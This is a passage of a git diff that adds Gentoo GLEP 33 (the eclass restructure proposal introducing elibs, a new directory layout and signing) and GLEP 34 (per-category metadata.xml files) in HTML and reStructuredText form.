+corrupted/destroyed their installed pkgs database (/var/db/pkg currently),
+in the process, they've lost their saved environments.  The eclass-compat
+ebuild would be required for ebuilds that required older eclasses in such a
+case.  Note, this case is rare also- as clarified above, it's mentioned
+strictly to be complete, it's not much of a real world scenario as elaborated
+above.
+</pre>
+</div>
+<div class="section" id="copyright">
+<h1><a class="toc-backref" href="#id14">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference external" href="glep-0033.txt">View document source</a>.
+Generated on: 2010-04-07 22:04 UTC.
+Generated by <a class="reference external" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference external" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
diff --git a/xml/htdocs/proj/en/glep/glep-0033.txt b/xml/htdocs/proj/en/glep/glep-0033.txt
new file mode 100644
index 00000000..39904796
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0033.txt
@@ -0,0 +1,480 @@
+GLEP: 33
+Title: Eclass Restructure/Redesign
+Version: $Revision: 1.8 $
+Last-Modified: $Date: 2010/04/07 22:04:02 $
+Author:	Brian Harring <ferringb@gentoo.org>, John Mylchreest <johnm@gentoo.org>
+Status: Moribund
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 29-Jan-2005
+Post-History: 29-Jan-2005 6-Mar-2005 15-Sep-2005 5-Sep-2006
+
+Status
+======
+
+Approved by the Gentoo Council on 15 September 2005.  As of Sept. 2006
+this GLEP is on hold, pending future revisions.
+
+Abstract
+========
+
+For any design, the transition from theoretical to applied exposes inadequacies 
+in the original design.  This document is intended to document, and propose a 
+revision of the current eclass setup to address current eclass inadequacies.
+
+This document proposes several things- the creation of ebuild libraries, 'elibs', 
+a narrowing of the focus of eclasses, a move of eclasses w/in the tree, the 
+addition of changelogs, and a way to allow for simple eclass gpg signing.
+In general, a large scale restructuring of what eclasses are and how they're
+implemented.  Essentially version two of the eclass setup.
+
+
+Terminology
+===========
+
+From this point on, the proposed eclass setup will be called 'new eclasses', the
+existing crop (as of this writing) will be referenced as 'old eclasses'.  The
+distinction is elaborated on within this document.
+
+
+Motivation and Rationale
+========================
+
+Eclasses within the tree currently are a bit of a mess- they're forced to
+maintain backwards compatibility w/ all previous functionality.  In effect,
+their api is constant, and can only be added to- never changing the existing
+functionality.  This obviously is quite limiting, and leads to cruft accruing in
+eclasses as a eclasses design is refined.  This needs to be dealt with prior to
+eclass code  reaching a critical mass where they become unmanageable/fragile
+(recent pushes for eclass versioning could be interpreted as proof of this).
+
+Beyond that, eclasses were originally intended as a method to allow for ebuilds
+to use a pre-existing block of code, rather then having to duplicate the code in
+each ebuild.  This is a good thing, but there are ill effects that result from
+the current design.  Eclasses inherit other eclasses to get a single function- in
+doing so, modifying the the exported 'template' (default src_compile, default
+src_unpack, various vars, etc).  All the eclass designer was after was reusing a
+function, not making their eclass sensitive to changes in the template of the
+eclass it's inheriting.  The eclass designer -should- be aware of changes in the
+function they're using, but shouldn't have to worry about their default src_*
+and pkg_* functions being overwritten, let alone the env changes.
+
+Addressing up front why a collection of eclass refinements are being rolled into
+a single set of changes, parts of this proposal -could- be split into multiple
+phases.  Why do it though?  It's simpler for developers to know that the first
+eclass specification was this, and that the second specification is that, 
+rather then requiring them to be aware of what phase of eclass changes is in 
+progress.
+
+By rolling all changes into one large change, a line is intentionally drawn in
+the sand.  Old eclasses allowed for this, behaved this way.  New eclasses allow
+for that, and behave this way.  This should reduce misconceptions about what is
+allowed/possible with eclasses, thus reducing bugs that result from said
+misconceptions.
+
+A few words on elibs- think of them as a clear definition between behavioral 
+functionality of an eclass, and the library functionality.  Eclass's modify 
+template data, and are the basis for other ebuilds- elibs, however are *just* 
+common bash functionality.
+
+Consider the majority of the portage bin/* scripts- these all are candidates for 
+being added to the tree as elibs, as is the bulk of eutils.
+
+
+Specification
+=============
+
+The various parts of this proposal are broken down into a set of changes and
+elaborations on why a proposed change is preferable.  It's advisable to the
+reader that this be read serially, rather then jumping around.
+
+
+Ebuild Libraries (elibs for short)
+----------------------------------
+
+As briefly touched upon in Motivation and Rationale, the original eclass design
+allowed for the eclass to modify the metadata of an ebuild, metadata being the
+DEPENDS, RDEPENDS, SRC_URI, IUSE, etc, vars that are required to be constant,
+and used by portage for dep resolution, fetching, etc.  Using the earlier
+example, if you're after a single function from an eclass (say epatch from
+eutils), you -don't- want the metadata modifications the eclass you're
+inheriting might do.  You want to treat the eclass you're pulling from as a
+library, pure and simple.
+
+A new directory named elib should be added to the top level of the tree to serve
+as a repository of ebuild function libraries.  Rather then relying on using the
+source command, an 'elib' function should be added to portage to import that
+libraries functionality.  The reason for the indirection via the function is 
+mostly related to portage internals, but it does serve as an abstraction such 
+that (for example) zsh compatibility hacks could be hidden in the elib function.
+
+Elib's will be collections of bash functions- they're not allowed to do anything
+in the global scope aside from function definition, and any -minimal-
+initialization of the library that is absolutely needed.  Additionally, they 
+cannot modify any ebuild template functions- src_compile, src_unpack.  Since they are
+required to not modify the metadata keys, nor in any way affect the ebuild aside
+from providing functionality, they can be conditionally pulled in.  They also
+are allowed to pull in other elibs, but strictly just elibs- no eclasses, just
+other elibs.  A real world example would be the eutils eclass.
+
+Portage, since the elib's don't modify metadata, isn't required to track elibs
+as it tracks eclasses.  Thus a change in an elib doesn't result in half the tree
+forced to be regenerated/marked stale when changed (this is more of an infra
+benefit, although regen's that take too long due to eclass changes have been
+known to cause rsync issues due to missing timestamps).  
+
+Elibs will not be available in the global scope of an eclass, or ebuild- nor during the 
+depends phase (basically a phase that sources the ebuild, to get its metadata).  Elib 
+calls in the global scope will be tracked, but the elib will not be loaded till just before
+the setup phase (pkg_setup).  There are two reasons for this- first, it ensures elibs are 
+completely incapable of modifying metadata.  There is no room for confusion, late loading
+of elibs gives you the functionality for all phases, except for depends- depends being the 
+only phase that is capable of specifying metadata.  Second, as an added bonus, late 
+loading reduces the amount of bash sourced for a regen- faster regens.  This however is minor,
+and is an ancillary benefit of the first reason.
+
+There are a few further restrictions with elibs--mainly, elibs to load can only be specified
+in either global scope, or in the setup, unpack, compile, test, and install phases.  You can 
+not load elibs in prerm, postrm, preinst, and postinst.  The reason being, for \*rm phases, 
+installed pkgs will have to look to the tree for the elib, which allows for api drift to cause 
+breakage.  For \*inst phases, same thing, except the culprit is binpkgs.
+
+There is a final restriction--elibs cannot change their exported api dependent on the api 
+(as some eclass do for example).  The reason mainly being that elibs are loaded once--not 
+multiple times, as eclasses are.
+
+To clarify, for example this is invalid.
+::
+
+	if [[ -n ${SOME_VAR} ]]; then
+		func x() { echo "I'm accessible only via tweaking some var";}
+	else
+		func x() { echo "this is invalid, do not do it."; }
+	fi
+
+
+Regarding maintainability of elibs, it should be a less of a load then old
+eclasses.  One of the major issues with old eclasses is that their functions are
+quite incestuous- they're bound tightly to the env they're defined in.  This
+makes eclass functions a bit fragile- the restrictions on what can, and cannot
+be done in elibs will address this, making functionality less fragile (thus a
+bit more maintainable).
+
+There is no need for backwards compatibility with elibs- they just must work
+against the current tree.  Thus elibs can be removed when the tree no longer
+needs them.  The reasons for this are explained below.
+
+Structuring of the elibs directory will be exactly the same as that of the new
+eclass directory (detailed below), sans a different extension.
+
+As to why their are so many restrictions, the answer is simple- the definition of 
+what elibs are, what they are capable of, and how to use them is nailed down as much as 
+possible to avoid *any* ambiguity related to them.  The intention is to make it clear,
+such that no misconceptions occur, resulting in bugs.
+
+The reduced role of Eclasses, and a clarification of existing Eclass requirements
+---------------------------------------------------------------------------------
+
+Since elibs are now intended on holding common bash functionality, the focus of
+eclasses should be in defining an appropriate template for ebuilds.  For example,
+defining common DEPENDS, RDEPENDS, src_compile functions, src_unpack, etc.
+Additionally, eclasses should pull in any elibs they need for functionality.
+
+Eclass functionality that isn't directly related to the metadata, or src_* and
+pkg_* funcs should be shifted into elibs to allow for maximal code reuse.  This
+however isn't a hard requirement, merely a strongly worded suggestion.
+
+Previously, it was 'strongly' suggested by developers to avoid having any code
+executed in the global scope that wasn't required.  This suggestion is now a
+requirement.  Execute only what must be executed in the global scope.  Any code
+executed in the global scope that is related to configuring/building the package
+must be placed in pkg_setup.  Metadata keys (already a rule, but now stated as
+an absolute requirement to clarify it) *must* be constant.  The results of
+metadata keys exported from an ebuild on system A, must be *exactly* the same as
+the keys exported on system B.
+
+If an eclass (or ebuild for that matter) violates this constant requirement, it
+leads to portage doing the wrong thing for rsync users- for example, wrong deps
+pulled in, leading to compilation failure, or dud deps.
+
+If the existing metadata isn't flexible enough for what is required for a
+package, the parsing of the metadata is changed to address that.  Cases where
+the constant requirement is violated are known, and a select few are allowed-
+these are exceptions to the rule that are required due to inadequacies in
+portage.  Any case where it's determined the constant requirement may need to be 
+violated the dev must make it aware to the majority of devs, along with the portage 
+devs.  This should be done prior to committing.
+
+It's quite likely there is a way to allow what you're attempting- if you just go
+and do it, the rsync users (our user base) suffer the results of compilation
+failures and unneeded deps being pulled in.
+
+After that stern reminder, back to new eclasses.  Defining INHERITED and ECLASS
+within the eclass is no longer required.  Portage already handles those vars if
+they aren't defined.
+
+As with elibs, it's no longer required that backwards compatibility be maintained
+indefinitely- compatibility must be maintained against the current tree, but
+just that.  As such new eclasses (the true distinction of new vs old is
+elaborated in the next section) can be removed from the tree once they're no
+longer in use.
+
+
+The end of backwards compatibility...
+-------------------------------------
+
+With current eclasses, once the eclass is in use, its api can no longer be
+changed, nor can the eclass ever be removed from the tree.  This is why we still
+have *ancient* eclasses that are completely unused sitting in the tree, for
+example inherit.eclass.  The reason for this, not surprisingly, is a portage 
+deficiency: on unmerging an installed ebuild, portage used the eclass from the
+current tree.
+
+For a real world example of this, if you merged a glibc 2 years back, whatever
+eclasses it used must still be compatible, or you may not be able to unmerge the
+older glibc version during an upgrade to a newer version.  So either the glibc
+maintainer is left with the option of leaving people using ancient versions out
+in the rain, or maintaining an ever increasing load of backwards compatibility
+cruft in any used eclasses.
+
+Binpkgs suffer a similar fate.  Merging of a binpkg pulls needed eclasses from
+the tree, so you may not be able to even merge a binpkg if the eclasses api has
+changed.  If the eclass was removed, you can't even merge the binpkg, period.
+
+The next major release of portage will address this- the environment that the
+ebuild was built in already contains the eclasses functions, as such the env can
+be re-used rather then relying on the eclass.  In other words, binpkgs and
+installed ebuilds will no longer go and pull needed eclasses from the tree,
+they'll use the 'saved' version of the eclass they were built/merged with.
+
+So the backwards compatibility requirement for users of the next major portage
+version (and beyond) isn't required.  All the cruft can be dropped.
+
+The problem is that there will be users using older versions of portage that don't 
+support this functionality- these older installations *cannot* use the 
+new eclasses, due to the fact that their portage version is incapable of 
+properly relying on the env- in other words, the varying api of the eclass will
+result in user-visible failures during unmerging.
+
+So we're able to do a clean break of all old eclasses, and api cruft, but we need 
+a means to basically disallow access to the new eclasses for all portage versions 
+incapable of properly handling the env requirements.
+
+Unfortunately, we cannot just rely on a different grouping/naming convention within 
+the old eclass directory.  The new eclasses must be inaccessible, and portage throws
+a snag into this- the existing inherit function that is used to handle existing
+eclasses.  Basically, whatever it's passed (inherit kernel or inherit
+kernel/kernel) it will pull in (kernel.eclass, and kernel/kernel.eclass
+respectively).  So even if the new eclasses were implemented within a
+subdirectory of the eclass dir in the tree, all current portage versions would
+still be able to access them.
+
+In other words, these new eclasses would in effect, be old eclasses since older
+portage versions could still access them.
+
+
+Tree restructuring
+------------------
+
+There are only two way to block the existing (as of this writing) inherit
+functionality from accessing the new eclasses- either change the extension of
+eclasses to something other then 'eclass', or to have them stored in a separate
+subdirectory of the tree then eclass.
+
+The latter is preferable, and the proposed solution.  Reasons are- the current
+eclass directory is already overgrown.  Structuring of the new eclass dir
+(clarified below) will allow for easier signing, ChangeLogs, and grouping of
+eclasses.  New eclasses allow for something akin to a clean break and have new
+capabilities/requirements, thus it's advisable to start with a clean directory, 
+devoid of all cruft from the old eclass implementation.
+
+If it's unclear as to why the old inherit function *cannot* access the new
+eclasses, please reread the previous section.  It's unfortunately a requirement
+to take advantage of all that the next major portage release will allow.
+
+The proposed directory structure is ${PORTDIR}/include/{eclass,elib}.
+Something like ${PORTDIR}/new-eclass, or ${PORTDIR}/eclass-ng could be used
+(although many would cringe at the -ng), but such a name is unwise.  Consider the
+possibility (likely a fact) that new eclasses someday may be found lacking, and
+refined further (version three as it were).  Or perhaps we want to add yet more
+functionality with direct relation to sourcing new files, and we would then need
+to further populate ${PORTDIR}.
+
+The new-eclass directory will be (at least) 2 levels deep- for example:
+
+::
+	kernel/
+	kernel/linux-info.eclass
+	kernel/linux-mod.eclass
+	kernel/kernel-2.6.eclass
+	kernel/kernel-2.4.eclass
+	kernel/ChangeLog
+	kernel/Manifest
+
+No eclasses will be allowed in the base directory- grouping of new eclasses will
+be required to help keep things tidy, and for the following reasons.  Grouping
+of eclasses allows for the addition of ChangeLogs that are specific to that
+group of eclasses, grouping of files/patches as needed, and allows for
+saner/easier signing of eclasses- you can just stick a signed
+Manifest file w/in that grouping, thus providing the information portage needs
+to ensure no files are missing, and that nothing has been tainted.
+
+The elib directory will be structured in the same way, for the same reasons.
+
+Repoman will have to be extended to work within new eclass and elib groups, and
+to handle signing and committing.  This is intentional, and a good thing.  This
+gives repoman the possibility of doing sanity checks on elibs/new eclasses.
+
+Note these checks will not prevent developers from doing dumb things with eclass- 
+these checks would only be capable of doing basic sanity checks, such as syntax checks.
+There is no way to prevent people from doing dumb things (exempting perhaps repeated 
+applications of a cattle prod)- these are strictly automatic checks, akin to repoman's
+dependency checks.
+
+
+The start of a different phase of backwards compatibility
+---------------------------------------------------------
+
+As clarified above, new eclasses will exist in a separate directory that will be
+intentionally inaccessible to the inherit function.  As such, users of older
+portage versions *will* have to upgrade to merge any ebuild that uses elibs/new
+eclasses.  A depend on the next major portage version would transparently handle 
+this for rsync users.
+
+There still is the issue of users who haven't upgraded to the required portage
+version.  This is a minor concern frankly- portage releases include new
+functionality, and bug fixes.  If they won't upgrade, it's assumed they have
+their reasons and are big boys, thus able to handle the complications themselves.
+
+The real issue is broken envs, whether in binpkgs, or for installed packages.
+Two options exist- either the old eclasses are left in the tree indefinitely, or
+they're left for N months, then shifted out of the tree, and into a tarball that
+can be merged.
+
+Shifting them out of the tree is advisable for several reasons- less cruft in
+the tree, but more importantly the fact that they are not signed (thus an angle
+for attack).  Note that the proposed method of eclass signing doesn't even try
+to address them.  Frankly, it's not worth the effort supporting two variations
+of eclass signing, when the old eclass setup isn't designed to allow for easy
+signing.
+
+If this approach is taken, then either the old eclasses would have to be merged
+to an overlay directory's eclass directory (ugly), or to a safe location that
+portage's inherit function knows to look for (less ugly).
+
+For users who do not upgrade within the window of N months while the old
+eclasses are in the tree, as stated, it's assumed they know what they are doing.
+If they specifically block the new portage version, as the ebuilds in the tree
+migrate to the new eclasses, they will have less and less ebuilds available to
+them.  If they tried injecting the new portage version (lying to portage,
+essentially), portage would bail since it cannot find the new eclass.  
+For ebuilds that use the new eclasses, there really isn't any way to sidestep 
+the portage version requirement- same as it has been for other portage features.
+
+What is a bit more annoying is that once the old eclasses are out of the tree,
+if a user has not upgraded to a portage version supporting env processing, they 
+will lose the ability to unmerge any installed ebuild that used an old
+eclass.  Same cause, different symptom being they will lose the ability to merge 
+any tbz2 that uses old eclasses also.
+
+There is one additional case that is a rarity, but should be noted- if a user 
+has suffered significant corruption of their installed package database (vdb).  This is 
+ignoring the question of whether the vdb is even usable at this point, but the possibility
+exists for the saved envs to be non usable due to either A) missing, or B) corrupted.
+In such a case, even with the new portage capabilities, they would need
+the old eclass compat ebuild.  
+
+Note for this to happen requires either rather... unwise uses of root, or significant 
+fs corruption.  Regardless of the cause, it's quite likely for this to even become an 
+issue, the system's vdb is completely unusable.  It's a moot issue at that point.
+If you lose your vdb, or it gets seriously damaged, it's akin to lobotomizing portage- 
+it doesn't know what's installed, it doesn't know of its own files, and in general, 
+a rebuilding of the system is about the only sane course of action.  The missing env is 
+truly the least of the users concern in such a case.
+
+Continuing with the more likely scenario, users unwilling to upgrade portage will
+*not* be left out in the rain.  Merging the old eclass compat ebuild will provide 
+the missing eclasses, thus providing that lost functionality.
+
+Note the intention isn't to force them to upgrade, hence the ability to restore the
+lost functionality.  The intention is to clean up the existing mess, and allow us
+to move forward.  The saying "you've got to break a few eggs to make an omelet"
+is akin, exempting the fact we're providing a way to make the eggs whole again
+(the king's men would've loved such an option).
+
+
+Migrating to the new setup
+--------------------------
+
+As has been done in the past whenever a change in the tree results in ebuilds
+requiring a specific version of portage, as ebuilds migrate to the new eclasses,
+they should depend on a version of portage that supports it.  From the users
+viewpoint, this transparently handles the migration.
+
+This isn't so transparent for devs or a particular infrastructure server however.
+Devs, due to them using cvs for their tree, lack the pregenerated cache rsync
+users have.   Devs will have to be early adopters of the new portage.  Older
+portage versions won't be able to access the new eclasses, thus the local cache
+generation for that ebuild will fail, ergo the depends on a newer portage
+version won't transparently handle it for them.
+
+Additionally, prior to any ebuilds in the tree using the new eclasses, the
+infrastructure server that generates the cache for rsync users will have to
+either be upgraded to a version of portage supporting new eclasses, or patched.
+The former being much more preferable then the latter for the portage devs.
+
+Beyond that, an appropriate window for old eclasses to exist in the tree must be
+determined, and prior to that window passing, an ebuild must be added to the tree
+so users can get the old eclasses if needed.
+
+For eclass devs to migrate from old to new, it is possible for them to just
+transfer the old eclass into an appropriate grouping in the new eclass directory,
+although it's advisable they cleanse all cruft out of the eclass.  You can
+migrate ebuilds gradually over to the new eclass, and don't have to worry about
+having to support ebuilds from X years back.
+
+Essentially, you have a chance to nail the design perfectly/cleanly, and have a
+window in which to redesign it.  It's humbly suggested eclass devs take
+advantage of it. :)
+
+
+Backwards Compatibility
+=======================
+
+All backwards compatibility issues are addressed in line, but a recap is offered-
+it's suggested that if the a particular compatibility issue is
+questioned/worried over, the reader read the relevant section.  There should be
+a more in depth discussion of the issue, along with a more extensive explanation
+of the potential solutions, and reasons for the chosen solution.
+
+To recap:
+::
+
+	New eclasses and elib functionality will be tied to a specific portage
+	version.  A DEPENDs on said portage version should address this for rsync
+	users who refuse to upgrade to a portage version that supports the new
+	eclasses/elibs and will gradually be unable to merge ebuilds that use said
+	functionality.  It is their choice to upgrade, as such, the gradual
+	'thinning' of available ebuilds should they block the portage upgrade is
+	their responsibility.
+	
+	Old eclasses at some point in the future should be removed from the tree,
+	and released in a tarball/ebuild.  This will cause installed ebuilds that
+	rely on the old eclass to be unable to unmerge, with the same applying for 
+	merging of binpkgs dependent on the following paragraph.
+		
+	The old eclass-compat is only required for users who do not upgrade their 
+	portage installation, and one further exemption- if the user has somehow
+	corrupted/destroyed their installed pkgs database (/var/db/pkg currently), 
+	in the process, they've lost their saved environments.  The eclass-compat
+	ebuild would be required for ebuilds that required older eclasses in such a 
+	case.  Note, this case is rare also- as clarified above, it's mentioned 
+	strictly to be complete, it's not much of a real world scenario as elaborated
+	above.
+
+
+Copyright
+=========
+
+This document has been placed in the public domain.
+
diff --git a/xml/htdocs/proj/en/glep/glep-0034.html b/xml/htdocs/proj/en/glep/glep-0034.html
new file mode 100644
index 00000000..788fc292
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0034.html
@@ -0,0 +1,186 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 34 -- Per-Category metadata.xml Files</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0034.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">34</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Per-Category metadata.xml Files</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.5</td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Ciaran McCreesh &lt;ciaranm&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0034.txt?cvsroot=gentoo">2005/11/07 22:26:59</a></td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Final</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">11-Mar-2005</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">11-Mar-2005, 13-Mar-2005, 2-May-2005</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#abstract" id="id9" name="id9">Abstract</a></li>
+<li><a class="reference" href="#motivation" id="id10" name="id10">Motivation</a></li>
+<li><a class="reference" href="#specification" id="id11" name="id11">Specification</a><ul>
+<li><a class="reference" href="#examples" id="id12" name="id12">Examples</a></li>
+<li><a class="reference" href="#implementation-requirements" id="id13" name="id13">Implementation Requirements</a></li>
+</ul>
+</li>
+<li><a class="reference" href="#backwards-compatibility" id="id14" name="id14">Backwards Compatibility</a></li>
+<li><a class="reference" href="#references" id="id15" name="id15">References</a></li>
+<li><a class="reference" href="#copyright" id="id16" name="id16">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id9" id="abstract" name="abstract">Abstract</a></h1>
+<p>A <tt class="docutils literal"><span class="pre">metadata.xml</span></tt> file <a class="footnote-reference" href="#id6" id="id1" name="id1">[1]</a> is currently used to provide extra metadata
+(long descriptions, herd and maintainer information) about a package. It
+is proposed that these files also be used to describe the purpose of a
+category.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id10" id="motivation" name="motivation">Motivation</a></h1>
+<p>Category names are short and not entirely clear. Adding arbitrary length
+long descriptions to categories would provide several advantages:</p>
+<ul class="simple">
+<li>It would clarify the meaning of categories for users, who may not be
+aware of some of the abbreviations or acronyms we use.</li>
+<li>With the use of XML <tt class="docutils literal"><span class="pre">lang=&quot;&quot;</span></tt> attributes, it would allow for
+additional non-English descriptions (simply using longer category names
+would not allow this).</li>
+<li>It would help developers better select a relevant category for their
+package, rather than dumping everything into <tt class="docutils literal"><span class="pre">sys-apps</span></tt> and
+<tt class="docutils literal"><span class="pre">app-misc</span></tt> as is done currently.</li>
+<li>It would help illustrate which categories are too broad or badly defined
+in scope, making any future category splits easier.</li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id11" id="specification" name="specification">Specification</a></h1>
+<p>It is proposed that the existing <tt class="docutils literal"><span class="pre">metadata.xml</span></tt> format <a class="footnote-reference" href="#id6" id="id2" name="id2">[1]</a> be used.
+Even though XML sucks, there is already a framework in place for these
+files.  The filename will be <tt class="docutils literal"><span class="pre">blah-misc/metadata.xml</span></tt>. The character set
+used shall be UTF-8 for consistency with GLEP 31 <a class="footnote-reference" href="#id7" id="id3" name="id3">[2]</a>.</p>
+<p>A new top level <tt class="docutils literal"><span class="pre">&lt;catmetadata&gt;</span></tt> element shall be added to the DTD. This
+is necessary because the existing <tt class="docutils literal"><span class="pre">&lt;pkgmetadata&gt;</span></tt> element is not
+appropriately named, and doing a global rename would be impractical. Using
+a different element would also permit additional category-specific data to
+be added at a later date.</p>
+<p>The existing <tt class="docutils literal"><span class="pre">&lt;longdescription&gt;</span></tt> elements shall be used for
+descriptions. The <tt class="docutils literal"><span class="pre">lang</span></tt> attribute shall be used to indicate the human
+language of the description -- all categories must have at least an
+English (<tt class="docutils literal"><span class="pre">en</span></tt>) description.</p>
+<p>The <tt class="docutils literal"><span class="pre">&lt;herd&gt;</span></tt> and <tt class="docutils literal"><span class="pre">&lt;maintainer&gt;</span></tt> elements are not generally relevant at
+the category level. They may be specified as a fall-back &quot;assume that
+everything in this category is maintained by these people&quot;, but this must
+not be used as a replacement for proper per-package metadata.</p>
+<div class="section">
+<h2><a class="toc-backref" href="#id12" id="examples" name="examples">Examples</a></h2>
+<p>The <tt class="docutils literal"><span class="pre">app-vim</span></tt> category could use a <tt class="docutils literal"><span class="pre">metadata.xml</span></tt> file like the
+following:</p>
+<pre class="literal-block">
+&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
+&lt;!DOCTYPE catmetadata SYSTEM &quot;http://www.gentoo.org/dtd/metadata.dtd&quot;&gt;
+&lt;catmetadata&gt;
+        &lt;longdescription lang=&quot;en&quot;&gt;
+            The app-vim category contains plugins and syntax file
+            packages for the Vim text editor.
+        &lt;/longdescription&gt;
+        &lt;longdescription lang=&quot;de&quot;&gt;
+            Die Kategorie app-vim enthält Plugins und Syntax-Pakete
+            für den Vim Texteditor.
+        &lt;/longdescription&gt;
+&lt;/catmetadata&gt;
+</pre>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id13" id="implementation-requirements" name="implementation-requirements">Implementation Requirements</a></h2>
+<p>The DTD file would need to be updated to include the <tt class="docutils literal"><span class="pre">&lt;catmetadata&gt;</span></tt>
+element.</p>
+<p>A metadata file would have to be added to every category in the tree. This
+could be done over a period of time.</p>
+<p><tt class="docutils literal"><span class="pre">repoman</span></tt> would need a few small changes to be able to handle
+per-category metadata files.</p>
+<p>The &quot;packages.gentoo.org metadata&quot; bug <a class="footnote-reference" href="#id8" id="id4" name="id4">[3]</a> would need to be
+updated to ask for category descriptions as well.</p>
+<p>The metadata documentation <a class="footnote-reference" href="#id6" id="id5" name="id5">[1]</a> would require some additions.</p>
+</div>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id14" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>The metadata DTD will remain backwards compatible.</p>
+<p>The category metadata files will need to be considered &quot;optional until
+implemented&quot; rather than immediately becoming mandatory.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id15" id="references" name="references">References</a></h1>
+<table class="docutils footnote" frame="void" id="id6" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a name="id6">[1]</a></td><td><em>(<a class="fn-backref" href="#id1">1</a>, <a class="fn-backref" href="#id2">2</a>, <a class="fn-backref" href="#id5">3</a>)</em> Gentoo Metadata,
+(<a class="reference" href="http://www.gentoo.org/proj/en/devrel/handbook/handbook.xml?part=2&amp;chap=4">http://www.gentoo.org/proj/en/devrel/handbook/handbook.xml?part=2&amp;chap=4</a>)</td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id7" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id3" name="id7">[2]</a></td><td>GLEP 31: Character Sets for Portage Tree Items
+(<a class="reference" href="http://www.gentoo.org/proj/en/glep/glep-0031.html">http://www.gentoo.org/proj/en/glep/glep-0031.html</a>)</td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id8" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id4" name="id8">[3]</a></td><td>Gentoo bug 66917
+(<a class="reference" href="http://bugs.gentoo.org/show_bug.cgi?id=66917">http://bugs.gentoo.org/show_bug.cgi?id=66917</a>)</td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id16" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+<!-- vim: set tw=74 fileencoding=utf-8 : -->
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0034.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0034.txt b/xml/htdocs/proj/en/glep/glep-0034.txt
new file mode 100644
index 00000000..a85b1c5b
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0034.txt
@@ -0,0 +1,125 @@
+GLEP: 34
+Title: Per-Category metadata.xml Files
+Version: $Revision: 1.5 $
+Author: Ciaran McCreesh <ciaranm@gentoo.org>
+Last-Modified: $Date: 2005/11/07 22:26:59 $
+Status: Final
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 11-Mar-2005
+Post-History: 11-Mar-2005, 13-Mar-2005, 2-May-2005
+
+Abstract
+========
+
+A ``metadata.xml`` file [1]_ is currently used to provide extra metadata
